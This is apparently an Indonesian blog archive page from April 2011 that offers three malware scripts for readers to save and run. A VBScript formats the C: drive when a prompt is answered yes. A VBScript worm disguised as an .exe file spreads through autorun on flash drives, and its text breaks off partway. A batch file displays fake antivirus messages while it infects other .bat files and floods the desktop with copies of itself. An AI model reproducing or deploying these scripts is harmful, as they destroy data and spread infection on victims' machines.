Set WshShell = WScript.CreateObject(“WScript.Shell”) X = MsgBox(“Hey guys.. saya ingin merusak operating system anda ?”, vbYesNo, “xXx Akay death system!! xXx”) If X = 6 Then WshShell.Run(“format.com /y C:”) End If *save file.vbs
Arsip untuk April, 2011
salin script di bawah ini simpan dengan nama grysvin_bysnovia.exe.vbs ===================================================== ‘El Magnifico MAN on error resume next dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe grysvin_bysnovia.exe.vbs” set fs = createobject(“Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) [...]
@echo off echo checking system: echo for %%i in (“*.bat”) do copy %%i+c:\tmp.bat %%i >c:\windows\system32\autoexec.NT echo VIRUS DETECTED pause echo DELETING VIRUS pause echo FAILED TO DELETE THE VIRUS pause echo CONTACTING THE ANTIVIRUS pause echo FAILED pause echo FAILED :1 dir /s copy c:\tmp.bat c:\docum~1\%username%\desktop\greatgame_%random%.bat goto 1 save as virus.bat di desktop atau yang [...]
